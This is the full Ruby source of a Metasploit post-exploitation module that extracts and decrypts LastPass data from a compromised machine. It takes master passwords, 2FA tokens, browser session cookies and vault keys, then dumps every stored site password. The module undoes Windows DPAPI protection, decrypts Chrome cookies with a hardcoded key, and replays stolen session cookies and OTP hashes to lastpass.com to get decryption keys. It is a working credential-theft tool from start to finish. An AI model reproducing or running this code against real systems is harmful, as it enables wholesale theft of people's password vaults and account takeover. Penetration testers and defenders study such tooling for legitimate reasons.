Path: blob/master/modules/post/multi/gather/lastpass_creds.rb
19758 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'English'6require 'sqlite3'7require 'uri'89class MetasploitModule < Msf::Post10include Msf::Post::File11include Msf::Post::Windows::UserProfiles12include Msf::Post::OSX::System13include Msf::Post::Unix1415def initialize(info = {})16super(17update_info(18info,19'Name' => 'LastPass Vault Decryptor',20'Description' => %q{21This module extracts and decrypts LastPass master login accounts and passwords,22encryption keys, 2FA tokens and all the vault passwords23},24'License' => MSF_LICENSE,25'Author' => [26'Alberto Garcia Illera <agarciaillera[at]gmail.com>', # original module and research27'Martin Vigo <martinvigo[at]gmail.com>', # original module and research28'Jon Hart <jon_hart[at]rapid7.com>' # module rework and cleanup29],30'Platform' => %w[linux osx unix win],31'References' => [32[ 'URL', 'http://www.martinvigo.com/even-the-lastpass-will-be-stolen-deal-with-it' ]33],34'SessionTypes' => %w[meterpreter shell],35'Compat' => {36'Meterpreter' => {37'Commands' => %w[38stdapi_railgun_api39stdapi_registry_open_key40stdapi_sys_process_attach41stdapi_sys_process_get_processes42stdapi_sys_process_getpid43stdapi_sys_process_memory_allocate44stdapi_sys_process_memory_read45stdapi_sys_process_memory_write46]47}48},49'Notes' => {50'Stability' => [CRASH_SAFE],51'SideEffects' => [],52'Reliability' => []53}54)55)56end5758def run59if session.platform == 'windows' && session.type == 'shell' # No Windows shell support60print_error 'Shell sessions on Windows are not supported'61return62end6364print_status 'Searching for LastPass databases'6566account_map = build_account_map67if account_map.empty?68print_status 'No databases found'69return70end7172print_status 'Extracting credentials'73extract_credentials(account_map)7475print_status 'Extracting 2FA tokens'76extract_2fa_tokens(account_map)7778print_status 'Extracting vault and iterations'79extract_vault_and_iterations(account_map)8081print_status 'Extracting encryption keys'82extract_vault_keys(account_map)8384print_lastpass_data(account_map)85end8687# Returns a mapping of lastpass accounts88def build_account_map89profiles = user_profiles90account_map = {}9192profiles.each do |user_profile|93account = user_profile['UserName']94browser_path_map = {}95localstorage_path_map = {}96cookies_path_map = {}9798case session.platform99when 'windows'100browser_path_map = {101'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\databases\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0",102'Firefox' => "#{user_profile['AppData']}\\Mozilla\\Firefox\\Profiles",103'IE' => "#{user_profile['LocalAppData']}Low\\LastPass",104'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\databases\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0"105}106localstorage_path_map = {107'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage",108'Firefox' => "#{user_profile['LocalAppData']}Low\\LastPass",109'IE' => "#{user_profile['LocalAppData']}Low\\LastPass",110'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\Local Storage\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage"111}112cookies_path_map = {113'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\Cookies",114'Firefox' => '', # It's set programmatically115'IE' => "#{user_profile['LocalAppData']}\\Microsoft\\Windows\\INetCookies\\Low",116'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\Cookies"117}118when 'unix', 'linux'119browser_path_map = {120'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0",121'Firefox' => "#{user_profile['LocalAppData']}/.mozilla/firefox",122'Opera' => "#{user_profile['LocalAppData']}/.config/opera/databases/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0"123}124localstorage_path_map = {125'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/Local Storage/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage",126'Firefox' => "#{user_profile['LocalAppData']}/.lastpass",127'Opera' => "#{user_profile['LocalAppData']}/.config/opera/Local Storage/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage"128}129cookies_path_map = { # TODO130'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/Cookies",131'Firefox' => '', # It's set programmatically132'Opera' => "#{user_profile['LocalAppData']}/.config/opera/Cookies"133}134when 'osx'135browser_path_map = {136'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0",137'Firefox' => "#{user_profile['LocalAppData']}/Firefox/Profiles",138'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/databases/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0",139'Safari' => "#{user_profile['AppData']}/Safari/Databases/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0"140}141localstorage_path_map = {142'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/Local Storage/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage",143'Firefox' => "#{user_profile['AppData']}/Containers/com.lastpass.LastPass/Data/Library/Application Support/LastPass",144'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/Local Storage/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage",145'Safari' => "#{user_profile['AppData']}/Safari/LocalStorage/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0.localstorage"146}147cookies_path_map = { # TODO148'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/Cookies",149'Firefox' => '', # It's set programmatically150'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/Cookies",151'Safari' => "#{user_profile['AppData']}/Cookies/Cookies.binarycookies"152}153else154print_error "Platform not recognized: #{session.platform}"155end156157account_map[account] = {}158browser_path_map.each_pair do |browser, path|159account_map[account][browser] = {}160db_paths = find_db_paths(path, browser, account)161if db_paths && !db_paths.empty?162account_map[account][browser]['lp_db_path'] = db_paths.first163account_map[account][browser]['localstorage_db'] = localstorage_path_map[browser] if file?(localstorage_path_map[browser]) || browser.match(/Firefox|IE/)164account_map[account][browser]['cookies_db'] = cookies_path_map[browser] if file?(cookies_path_map[browser]) || browser.match(/Firefox|IE/)165account_map[account][browser]['cookies_db'] = account_map[account][browser]['lp_db_path'].first.gsub('prefs.js', 'cookies.sqlite') if !account_map[account][browser]['lp_db_path'].blank? && browser == 'Firefox'166else167account_map[account].delete(browser)168end169end170end171172account_map173end174175# Returns a list of DB paths found in the victims' machine176def find_db_paths(path, browser, account)177paths = []178179vprint_status "Checking #{account}'s #{browser}"180if browser == 'IE' # Special case for IE181data = read_registry_key_value('HKEY_CURRENT_USER\Software\LastPass', 'LoginUsers')182data = read_registry_key_value('HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass', 'LoginUsers') if data.blank?183paths |= ['HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass'] if !data.blank? && path != 'Low\\LastPass' # Hacky way to detect if there is access to user's data (attacker has no root access)184elsif browser == 'Firefox' # Special case for Firefox185paths |= firefox_profile_files(path)186else187paths |= file_paths(path)188end189190vprint_good "Found #{paths.size} #{browser} databases for #{account}"191paths192end193194# Returns the relevant information from user profiles195def user_profiles196user_profiles = []197case session.platform198when /unix|linux/199user_names = dir('/home')200user_names.reject! { |u| %w[. ..].include?(u) }201user_names.each do |user_name|202user_profiles.push('UserName' => user_name, 'LocalAppData' => "/home/#{user_name}")203end204when /osx/205user_names = session.shell_command('ls /Users').split206user_names.reject! { |u| u == 'Shared' }207user_names.each do |user_name|208user_profiles.push(209'UserName' => user_name,210'AppData' => "/Users/#{user_name}/Library",211'LocalAppData' => "/Users/#{user_name}/Library/Application Support"212)213end214when /windows/215user_profiles |= grab_user_profiles216else217print_error "OS not recognized: #{session.platform}"218end219user_profiles220end221222# Extracts the databases paths from the given folder ignoring . and ..223def file_paths(path)224found_dbs_paths = []225226files = []227files = dir(path) if directory?(path)228files.each do |file_path|229unless %w[. .. Shared].include?(file_path)230found_dbs_paths.push([path, file_path].join(system_separator))231end232end233234found_dbs_paths235end236237# Returns the profile files for Firefox238def firefox_profile_files(path)239found_dbs_paths = []240241if directory?(path)242files = dir(path)243files.reject! { |file| %w[. ..].include?(file) }244files.each do |file_path|245found_dbs_paths.push([path, file_path, 'prefs.js'].join(system_separator)) if file_path.match(/.*\.default/)246end247end248249[found_dbs_paths]250end251252# Parses the Firefox preferences file and returns encoded credentials253def ie_firefox_credentials(prefs_path, localstorage_db_path)254credentials = []255data = nil256257if prefs_path.nil? # IE258data = read_registry_key_value('HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass', 'LoginUsers')259data = read_registry_key_value('HKEY_CURRENT_USER\Software\LastPass', 'LoginUsers') if data.blank?260return [] if data.blank?261262usernames = data.split('|')263usernames.each do |username|264credentials << [username, nil]265end266267# Extract master passwords268data = read_registry_key_value('HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass', 'LoginPws')269data = Rex::Text.encode_base64(data) unless data.blank?270else # Firefox271loot_path = loot_file(prefs_path, nil, 'firefox.preferences', 'text/javascript', 'Firefox preferences file')272return [] unless loot_path273274File.readlines(loot_path).each do |line|275next unless /user_pref\("extensions.lastpass.loginusers", "(?<encoded_users>.*)"\);/ =~ line276277usernames = encoded_users.split('|')278usernames.each do |username|279credentials << [username, nil]280end281break282end283284# Extract master passwords285path = localstorage_db_path + system_separator + 'lp.loginpws'286data = read_remote_file(path) if file?(path) # Read file if it exists287end288289# Get encrypted master passwords290data = windows_unprotect(data) if !data.nil? && data.match(/^AQAAA.+/) # Verify Windows protection291return credentials if data.blank? # No passwords stored292293creds_per_user = data.split('|')294creds_per_user.each_with_index do |user_creds, _index|295parts = user_creds.split('=')296for creds in credentials297creds[1] = parts[1] if creds[0] == parts[0] # Add the password to the existing username298end299end300credentials301end302303def decrypt_data(key, encrypted_data)304return nil if encrypted_data.blank?305306if encrypted_data.include?('|') # Use CBC307decipher = OpenSSL::Cipher.new('AES-256-CBC').decrypt308decipher.iv = Rex::Text.decode_base64(encrypted_data[1, 24]) # Discard ! and |309encrypted_data = encrypted_data[26..] # Take only the data part310else # Use ECB311decipher = OpenSSL::Cipher.new('AES-256-ECB').decrypt312end313314begin315decipher.key = key316decrypted_data = decipher.update(Rex::Text.decode_base64(encrypted_data)) + decipher.final317rescue OpenSSL::Cipher::CipherError => e318vprint_error "Data could not be decrypted. #{e.message}"319end320321decrypted_data322end323324def extract_credentials(account_map)325account_map.each_pair do |account, browser_map|326browser_map.each_pair do |browser, lp_data|327account_map[account][browser]['lp_creds'] = {}328if browser.match(/Firefox|IE/)329if browser == 'Firefox'330ieffcreds = ie_firefox_credentials(lp_data['lp_db_path'].first, lp_data['localstorage_db'])331else # IE332ieffcreds = ie_firefox_credentials(nil, lp_data['localstorage_db'])333end334unless ieffcreds.blank?335ieffcreds.each do |creds|336if creds[1].blank? # No master password found337account_map[account][browser]['lp_creds'][URI.decode_uri_component(creds[0])] = { 'lp_password' => nil }338else339sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(URI.decode_uri_component(creds[0]))340sha256_binary_email = [sha256_hex_email].pack 'H*' # Do hex2bin341creds[1] = decrypt_data(sha256_binary_email, URI.decode_uri_component(creds[1]))342account_map[account][browser]['lp_creds'][URI.decode_uri_component(creds[0])] = { 'lp_password' => creds[1] }343end344end345end346else # Chrome, Safari and Opera347loot_path = loot_file(lp_data['lp_db_path'], nil, "#{browser.downcase}.lastpass.database", 'application/x-sqlite3', "#{account}'s #{browser} LastPass database #{lp_data['lp_db_path']}")348account_map[account][browser]['lp_db_loot'] = loot_path349next if loot_path.blank?350351# Parsing/Querying the DB352db = SQLite3::Database.new(loot_path)353result = db.execute(354'SELECT username, password FROM LastPassSavedLogins2 ' \355"WHERE username IS NOT NULL AND username != '' " \356)357358for row in result359next unless row[0]360361sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(row[0])362sha256_binary_email = [sha256_hex_email].pack 'H*' # Do hex2bin363row[1].blank? ? row[1] = nil : row[1] = decrypt_data(sha256_binary_email, row[1]) # Decrypt master password364account_map[account][browser]['lp_creds'][row[0]] = { 'lp_password' => row[1] }365end366end367end368end369end370371# Extracts the 2FA token from localStorage372def extract_2fa_tokens(account_map)373account_map.each_pair do |account, browser_map|374browser_map.each_pair do |browser, lp_data|375if browser.match(/Firefox|IE/)376path = lp_data['localstorage_db'] + system_separator + 'lp.suid'377data = read_remote_file(path) if file?(path) # Read file if it exists378data = windows_unprotect(data) if !data.nil? && data.size > 32 # Verify Windows protection379loot_file(nil, data, "#{browser.downcase}.lastpass.localstorage", 'application/x-sqlite3', "#{account}'s #{browser} LastPass localstorage #{lp_data['localstorage_db']}")380account_map[account][browser]['lp_2fa'] = data381else # Chrome, Safari and Opera382loot_path = loot_file(lp_data['localstorage_db'], nil, "#{browser.downcase}.lastpass.localstorage", 'application/x-sqlite3', "#{account}'s #{browser} LastPass localstorage #{lp_data['localstorage_db']}")383unless loot_path.blank?384db = SQLite3::Database.new(loot_path)385token = db.execute(386'SELECT hex(value) FROM ItemTable ' \387"WHERE key = 'lp.uid';"388).flatten389end390token.blank? ? account_map[account][browser]['lp_2fa'] = nil : account_map[account][browser]['lp_2fa'] = token.pack('H*')391end392end393end394end395396# Print all extracted LastPass data397def print_lastpass_data(account_map)398lastpass_data_table = Rex::Text::Table.new(399'Header' => 'LastPass Accounts',400'Indent' => 1,401'Columns' => %w[Account LP_Username LP_Password LP_2FA LP_Key]402)403404account_map.each_pair do |account, browser_map|405browser_map.each_pair do |_browser, lp_data|406lp_data['lp_creds'].each_pair do |username, user_data|407lastpass_data_table << [account, username, user_data['lp_password'], lp_data['lp_2fa'], user_data['vault_key']]408end409end410end411412unless account_map.empty?413print_good lastpass_data_table.to_s414loot_file(nil, lastpass_data_table.to_csv, 'lastpass.data', 'text/csv', 'LastPass Data')415print_vault_passwords(account_map)416end417end418419def extract_vault_and_iterations(account_map)420account_map.each_pair do |account, browser_map|421browser_map.each_pair do |browser, lp_data|422lp_data['lp_creds'].each_pair do |username, _user_data|423if browser.match(/Firefox|IE/)424if browser == 'Firefox'425iterations_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + '_key.itr'426vault_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + '_lps.act.sxml'427else # IE428iterations_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + '_key_ie.itr'429vault_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + '_lps.sxml'430end431iterations = read_remote_file(iterations_path) if file?(iterations_path) # Read file if it exists432iterations = nil if iterations.blank? # Verify content433lp_data['lp_creds'][username]['iterations'] = iterations434435# Find encrypted vault436vault = read_remote_file(vault_path)437vault = windows_unprotect(vault) if !vault.nil? && vault.match(/^AQAAA.+/) # Verify Windows protection438vault = vault.sub(/iterations=.*;/, '') if file?(vault_path) # Remove iterations info439loot_path = loot_file(nil, vault, "#{browser.downcase}.lastpass.vault", 'text/plain', "#{account}'s #{browser} LastPass vault")440lp_data['lp_creds'][username]['vault_loot'] = loot_path441442else # Chrome, Safari and Opera443db = SQLite3::Database.new(lp_data['lp_db_loot'])444result = db.execute(445'SELECT data FROM LastPassData ' \446"WHERE username_hash = ? AND type = 'accts'", OpenSSL::Digest::SHA256.hexdigest(username)447)448449if result.size == 1 && !result[0].blank?450if /iterations=(?<iterations>.*);(?<vault>.*)/ =~ result[0][0]451lp_data['lp_creds'][username]['iterations'] = iterations452else453lp_data['lp_creds'][username]['iterations'] = 1454end455loot_path = loot_file(nil, vault, "#{browser.downcase}.lastpass.vault", 'text/plain', "#{account}'s #{browser} LastPass vault")456lp_data['lp_creds'][username]['vault_loot'] = loot_path457else458lp_data['lp_creds'][username]['iterations'] = nil459lp_data['lp_creds'][username]['vault_loot'] = nil460end461end462end463end464end465end466467def extract_vault_keys(account_map)468account_map.each_pair do |account, browser_map|469browser_map.each_pair do |browser, lp_data|470browser_checked = false # Track if local stored vault key was already decrypted for this browser (only one session cookie)471lp_data['lp_creds'].each_pair do |username, user_data|472if !user_data['lp_password'].blank? && !user_data['iterations'].nil? # Derive vault key from credentials473lp_data['lp_creds'][username]['vault_key'] = derive_vault_key_from_creds(username, lp_data['lp_creds'][username]['lp_password'], user_data['iterations'])474else # Get vault key decrypting the locally stored one or from the disabled OTP475unless browser_checked476decrypt_local_vault_key(account, browser_map)477browser_checked = true478end479if lp_data['lp_creds'][username]['vault_key'].nil? # If no vault key was found yet, try with dOTP480otpbin = extract_otpbin(browser, username, lp_data)481otpbin.blank? ? next : otpbin = otpbin[0..31]482483lp_data['lp_creds'][username]['vault_key'] = decrypt_vault_key_with_otp(username, otpbin)484end485end486end487end488end489end490491# Decrypt the locally stored vault key492def decrypt_local_vault_key(account, browser_map)493data = nil494session_cookie_value = nil495496browser_map.each_pair do |browser, lp_data|497if browser == 'IE' && directory?(lp_data['cookies_db'])498cookies_files = dir(lp_data['cookies_db'])499cookies_files.reject! { |u| %w[. ..].include?(u) }500cookies_files.each do |cookie_jar_file|501data = read_remote_file(lp_data['cookies_db'] + system_separator + cookie_jar_file)502next if data.blank?503504next unless /.*PHPSESSID.(?<session_cookie_value_match>.*?).lastpass\.com?/m =~ data # Find the session id505506loot_file(lp_data['cookies_db'] + system_separator + cookie_jar_file, nil, "#{browser.downcase}.lastpass.cookies", 'text/plain', "#{account}'s #{browser} cookies DB")507session_cookie_value = session_cookie_value_match508break509end510else511case browser512when /Chrome/513query = "SELECT encrypted_value FROM cookies WHERE host_key = 'lastpass.com' AND name = 'PHPSESSID'"514when 'Opera'515query = "SELECT encrypted_value FROM cookies WHERE host_key = 'lastpass.com' AND name = 'PHPSESSID'"516when 'Firefox'517query = "SELECT value FROM moz_cookies WHERE host = 'lastpass.com' AND name = 'PHPSESSID'"518else519vprint_error "Browser #{browser} not supported for cookies"520next521end522# Parsing/Querying the DB523loot_path = loot_file(lp_data['cookies_db'], nil, "#{browser.downcase}.lastpass.cookies", 'application/x-sqlite3', "#{account}'s #{browser} cookies DB")524next if loot_path.blank?525526db = SQLite3::Database.new(loot_path)527begin528result = db.execute(query)529rescue SQLite3::SQLException => e530vprint_error "No session cookie was found in #{account}'s #{browser} (#{e.message})"531next532end533next if result.blank? # No session cookie found for this browser534535session_cookie_value = result[0][0]536end537538next if session_cookie_value.blank?539540# Check if cookie value needs to be decrypted541if Rex::Text.encode_base64(session_cookie_value).match(/^AQAAA.+/) # Windows Data protection API542session_cookie_value = windows_unprotect(Rex::Text.encode_base64(session_cookie_value))543elsif session_cookie_value.match(/^v10/) && browser.match(/Chrome|Opera/) # Chrome/Opera encrypted cookie in Linux544begin545decipher = OpenSSL::Cipher.new('AES-256-CBC')546decipher.decrypt547decipher.key = OpenSSL::Digest.hexdigest('SHA256', 'peanuts')548decipher.iv = ' ' * 16549session_cookie_value = session_cookie_value[3..] # Discard v10550session_cookie_value = decipher.update(session_cookie_value) + decipher.final551rescue OpenSSL::Cipher::CipherError => e552print_error "Cookie could not be decrypted. #{e.message}"553end554end555556# Use the cookie to obtain the encryption key to decrypt the vault key557uri = URI('https://lastpass.com/login_check.php')558request = Net::HTTP::Post.new(uri)559request.set_form_data('wxsessid' => URI.decode_uri_component(session_cookie_value), 'uuid' => browser_map['lp_2fa'])560request.content_type = 'application/x-www-form-urlencoded; charset=UTF-8'561response = Net::HTTP.start(uri.hostname, uri.port, use_ssl: true) { |http| http.request(request) }562563# Parse response564next unless response.body.match(/pwdeckey="([a-z0-9]+)"/) # Session must have expired565566decryption_key = OpenSSL::Digest::SHA256.hexdigest(response.body.match(/pwdeckey="([a-z0-9]+)"/)[1])567username = response.body.match(/lpusername="([A-Za-z0-9._%+-@]+)"/)[1]568569# Get the local encrypted vault key570encrypted_vault_key = extract_local_encrypted_vault_key(browser, username, lp_data)571572# Decrypt the local stored key573lp_data['lp_creds'][username]['vault_key'] = decrypt_data([decryption_key].pack('H*'), encrypted_vault_key)574end575end576577# Returns otp, encrypted_key578def extract_otpbin(browser, username, lp_data)579if browser.match(/Firefox|IE/)580if browser == 'Firefox'581path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + '_ff.sotp'582else # IE583path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + '.sotp'584end585otpbin = read_remote_file(path) if file?(path) # Read file if it exists586otpbin = windows_unprotect(otpbin) if !otpbin.nil? && otpbin.match(/^AQAAA.+/)587return otpbin588else # Chrome, Safari and Opera589db = SQLite3::Database.new(lp_data['lp_db_loot'])590result = db.execute(591'SELECT type, data FROM LastPassData ' \592"WHERE username_hash = ? AND type = 'otp'", OpenSSL::Digest::SHA256.hexdigest(username)593)594return (result.blank? || result[0][1].blank?) ? nil : [result[0][1]].pack('H*')595end596end597598def derive_vault_key_from_creds(username, password, key_iteration_count)599if key_iteration_count == 1600key = Digest::SHA256.hexdigest username + password601else602key = pbkdf2(password, username, key_iteration_count.to_i, 32).first603end604key605end606607def decrypt_vault_key_with_otp(username, otpbin)608vault_key_decryption_key = [lastpass_sha256(username + otpbin)].pack 'H*'609encrypted_vault_key = retrieve_encrypted_vault_key_with_otp(username, otpbin)610decrypt_data(vault_key_decryption_key, encrypted_vault_key)611end612613def retrieve_encrypted_vault_key_with_otp(username, otpbin)614# Derive login hash from otp615otp_token = lastpass_sha256(lastpass_sha256(username + otpbin) + otpbin) # OTP login hash616617# Make request to LastPass618uri = URI('https://lastpass.com/otp.php')619request = Net::HTTP::Post.new(uri)620request.set_form_data('login' => 1, 'xml' => 1, 'hash' => otp_token, 'otpemail' => URI::DEFAULT_PARSER.escape(username), 'outofbandsupported' => 1, 'changepw' => otp_token)621request.content_type = 'application/x-www-form-urlencoded; charset=UTF-8'622response = Net::HTTP.start(uri.hostname, uri.port, use_ssl: true) { |http| http.request(request) }623624# Parse response625encrypted_vault_key = nil626if response.body.match(/randkey="(.*)"/)627encrypted_vault_key = response.body.match(/randkey="(.*)"/)[1]628end629encrypted_vault_key630end631632# LastPass does some preprocessing (UTF8) when doing a SHA256 on special chars (binary)633def lastpass_sha256(input)634output = ''635636input = input.gsub("\r\n", "\n")637638input.each_byte do |e|639if e < 128640output += e.chr641elsif e > 127 && e < 2048642output += (e >> 6 | 192).chr643output += (e & 63 | 128).chr644else645output += (e >> 12 | 224).chr646output += (e >> 6 & 63 | 128).chr647end648end649650OpenSSL::Digest::SHA256.hexdigest(output)651end652653def pbkdf2(password, salt, iterations, key_length)654digest = OpenSSL::Digest.new('SHA256')655OpenSSL::PKCS5.pbkdf2_hmac(password, salt, iterations, key_length, digest).unpack 'H*'656end657658def windows_unprotect(data)659data = Rex::Text.decode_base64(data)660pid = session.sys.process.getpid661process = session.sys.process.open(pid, PROCESS_ALL_ACCESS)662mem = process.memory.allocate(data.length + 200)663process.memory.write(mem, data)664665if session.sys.process.each_process.find { |i| i['pid'] == pid }['arch'] == 'x86'666addr = [mem].pack('V')667len = [data.length].pack('V')668ret = session.railgun.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8)669len, addr = ret['pDataOut'].unpack('V2')670else671addr = Rex::Text.pack_int64le(mem)672len = Rex::Text.pack_int64le(data.length)673ret = session.railgun.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 16)674p_data = ret['pDataOut'].unpack('VVVV')675len = p_data[0] + (p_data[1] << 32)676addr = p_data[2] + (p_data[3] << 32)677end678679return '' if len == 0680681process.memory.read(addr, len)682end683684def print_vault_passwords(account_map)685account_map.each_pair do |_account, browser_map|686browser_map.each_pair do |browser, lp_data|687lp_data['lp_creds'].each_pair do |username, user_data|688lastpass_vault_data_table = Rex::Text::Table.new(689'Header' => "Decrypted vault from #{username}",690'Indent' => 1,691'Columns' => %w[URL Username Password]692)693if user_data['vault_loot'].nil? # Was a vault found?694print_error "No vault was found for #{username}"695next696end697encoded_vault = File.read(user_data['vault_loot'])698if encoded_vault[0] == '!' # Vault is double encrypted699encoded_vault = decrypt_data([user_data['vault_key']].pack('H*'), encoded_vault)700if encoded_vault.blank?701print_error "Vault from #{username} could not be decrypted"702next703else704encoded_vault = encoded_vault.sub('LPB64', '')705end706end707708# Parse vault709vault = Rex::Text.decode_base64(encoded_vault)710vault.scan(/ACCT/) do |_result|711chunk_length = vault[$LAST_MATCH_INFO.offset(0)[1]..$LAST_MATCH_INFO.offset(0)[1] + 3].unpack('H*').first.to_i(16) # Get the length in base 10 of the ACCT chunk712chunk = vault[$LAST_MATCH_INFO.offset(0)[0]..$LAST_MATCH_INFO.offset(0)[1] + chunk_length] # Get ACCT chunk713account_data = parse_vault_account(chunk, user_data['vault_key'])714lastpass_vault_data_table << account_data if !account_data.nil?715end716717next if account_map.empty? # Loot passwords718719if lastpass_vault_data_table.rows.empty?720print_status('No decrypted vaults.')721else722print_good lastpass_vault_data_table.to_s723end724loot_file(nil, lastpass_vault_data_table.to_csv, "#{browser.downcase}.lastpass.passwords", 'text/csv', "LastPass Vault Passwords from #{username}")725end726end727end728end729730def parse_vault_account(chunk, vault_key)731pointer = 22 # Starting position to find data to decrypt732labels = ['name', 'folder', 'url', 'notes', 'undefined', 'undefined2', 'username', 'password']733vault_data = []734for label in labels735if chunk[pointer..pointer + 3].nil?736# Out of bound read737return nil738end739740length = chunk[pointer..pointer + 3].unpack('H*').first.to_i(16)741encrypted_data = chunk[pointer + 4..pointer + 4 + length - 1]742label != 'url' ? decrypted_data = decrypt_vault_password(vault_key, encrypted_data) : decrypted_data = [encrypted_data].pack('H*')743decrypted_data = '' if decrypted_data.nil?744vault_data << decrypted_data if label == 'url' || label == 'username' || label == 'password'745pointer = pointer + 4 + length746end747748return vault_data[0] == 'http://sn' ? nil : vault_data # TODO: Support secure notes749end750751def decrypt_vault_password(key, encrypted_data)752return nil if key.blank? || encrypted_data.blank?753754if encrypted_data[0] == '!' # Apply CBC755decipher = OpenSSL::Cipher.new('AES-256-CBC').decrypt756decipher.iv = encrypted_data[1, 16] # Discard !757encrypted_data = encrypted_data[17..]758else # Apply ECB759decipher = OpenSSL::Cipher.new('AES-256-ECB').decrypt760end761decipher.key = [key].pack 'H*'762763begin764return decipher.update(encrypted_data) + decipher.final765rescue OpenSSL::Cipher::CipherError766vprint_error "Vault password could not be decrypted with key #{key}"767return nil768end769end770771# Reads a remote file and loots it772def loot_file(path, data, title, type, description)773data = read_remote_file(path) if data.nil? # If no data is passed, read remote file774return nil if data.nil?775776loot_path = store_loot(777title,778type,779session,780data,781nil,782description783)784loot_path785end786787# Reads a remote file and returns the data788def read_remote_file(path)789data = nil790791begin792data = read_file(path)793rescue EOFError794vprint_error "Error reading file #{path} It could be empty"795end796data797end798799def read_registry_key_value(key, value)800begin801root_key, base_key = session.sys.registry.splitkey(key)802reg_key = session.sys.registry.open_key(root_key, base_key, KEY_READ)803return nil unless reg_key804805reg_value = reg_key.query_value(value)806return nil unless reg_value807rescue Rex::Post::Meterpreter::RequestError => e808vprint_error("#{e.message} (#{key}\\#{value})")809end810reg_key.close if reg_key811return reg_value.blank? ? nil : reg_value.data812end813814def extract_local_encrypted_vault_key(browser, username, lp_data)815if browser.match(/Firefox|IE/)816encrypted_key_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + '_lpall.slps'817encrypted_vault_key = read_remote_file(encrypted_key_path)818encrypted_vault_key = windows_unprotect(encrypted_vault_key) if !encrypted_vault_key.nil? && encrypted_vault_key.match(/^AQAAA.+/) # Verify Windows protection819else820db = SQLite3::Database.new(lp_data['lp_db_loot'])821result = db.execute(822'SELECT data FROM LastPassData ' \823"WHERE username_hash = ? AND type = 'key'", OpenSSL::Digest::SHA256.hexdigest(username)824)825encrypted_vault_key = result[0][0]826end827828return encrypted_vault_key.blank? ? nil : encrypted_vault_key.split("\n")[0] # Return only the key, not the "lastpass rocks" part829end830831# Returns OS separator in a session type agnostic way832def system_separator833return session.platform == 'windows' ? '\\' : '/'834end835end836837838